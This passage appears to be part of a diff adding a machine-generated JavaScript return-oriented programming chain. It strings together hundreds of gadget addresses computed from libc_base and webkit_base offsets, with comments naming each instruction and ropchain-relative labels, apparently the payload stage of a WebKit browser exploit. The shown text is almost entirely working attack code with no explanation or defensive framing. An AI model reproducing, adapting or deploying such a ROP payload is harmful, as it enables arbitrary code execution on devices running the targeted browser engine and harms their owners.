+libc_base+713278 //pop rsi +]); +//L1362: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1363: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+118392, //L1366 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+118376, //L1365 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1365: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1366: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+118536, //L1370 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+118504, //L1368 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+118520, //L1369 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1368: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1369: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1370: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+118608, //L1371 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1371: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+118664, //L1373 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1373: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+118776, //L1377 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1375: +db([29, 0]); // 0x1d +set_gadget(libc_base+772328,); //pop rcx +//L1376: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1377: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+118856, //L1378 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+118872, //L1379 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1378: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1379: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+118960, //L1380 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1380: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+119016, //L1382 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1382: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+119088, //L1384 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1384: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+119144, //L1386 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1386: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1388: +libc_base+165442, //pop rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+119296, //L1390 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1389: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1390: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+119400, //L1393 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+119384, //L1392 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1392: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1393: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+119544, //L1397 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+119512, //L1395 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+119528, //L1396 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1395: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1396: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1397: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+119616, //L1398 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1398: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+119672, //L1400 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1400: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+119784, //L1404 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1402: +db([30, 0]); // 0x1e +set_gadget(libc_base+772328,); //pop rcx +//L1403: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1404: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+119864, //L1405 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+119880, //L1406 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1405: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1406: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+119968, //L1407 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1407: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+120024, //L1409 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1409: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+120096, //L1411 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1411: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+120152, //L1413 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1413: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+120256, //L1416 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1415: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L1416: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+120360, //L1419 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+120344, //L1418 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1418: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1419: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+120504, //L1423 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+120472, //L1421 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+120488, //L1422 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1421: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1422: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1423: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+120576, //L1424 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1424: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+120632, //L1426 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1426: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+120744, //L1430 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1428: +db([7, 0]); // 0x7 +set_gadget(libc_base+772328,); //pop rcx +//L1429: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1430: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+120824, //L1431 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+120840, //L1432 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1431: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1432: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+120928, //L1433 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1433: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+120984, //L1435 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1435: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+121104, //L1438 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1437: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1438: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+121208, //L1441 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+121192, //L1440 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1440: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1441: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+121352, //L1445 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+121320, //L1443 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+121336, //L1444 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1443: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1444: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1445: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+121424, //L1446 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1446: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+121480, //L1448 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1448: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+121592, //L1452 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1450: +db([31, 0]); // 0x1f +set_gadget(libc_base+772328,); //pop rcx +//L1451: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1452: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+121672, //L1453 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+121688, //L1454 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1453: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1454: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+121776, //L1455 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1455: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+121832, //L1457 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1457: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+121904, //L1459 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1459: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+121960, //L1461 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1461: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1463: +libc_base+768796, //pop rax +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+122112, //L1465 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1464: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1465: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+122216, //L1468 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+122200, //L1467 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1467: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1468: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+122360, //L1472 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+122328, //L1470 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+122344, //L1471 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1470: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1471: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1472: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+122432, //L1473 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1473: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+122488, //L1475 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1475: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+122600, //L1479 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1477: +db([32, 0]); // 0x20 +set_gadget(libc_base+772328,); //pop rcx +//L1478: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1479: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+122680, //L1480 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+122696, //L1481 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1480: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1481: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+122784, //L1482 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1482: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+122840, //L1484 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1484: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+122912, //L1486 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1486: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+122968, //L1488 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1488: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+123072, //L1491 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1490: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1491: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+123176, //L1494 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+123160, //L1493 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1493: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1494: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+123320, //L1498 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+123288, //L1496 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+123304, //L1497 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1496: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1497: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1498: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+123392, //L1499 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1499: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+123448, //L1501 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1501: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+123560, //L1505 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1503: +db([37, 0]); // 0x25 +set_gadget(libc_base+772328,); //pop rcx +//L1504: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1505: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+123640, //L1506 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+123656, //L1507 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1506: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1507: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+123744, //L1508 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1508: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+123800, //L1510 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1510: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+123920, //L1513 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1512: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1513: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+124024, //L1516 +webkit_base+4687784, //mov [rsi], rax ; mov 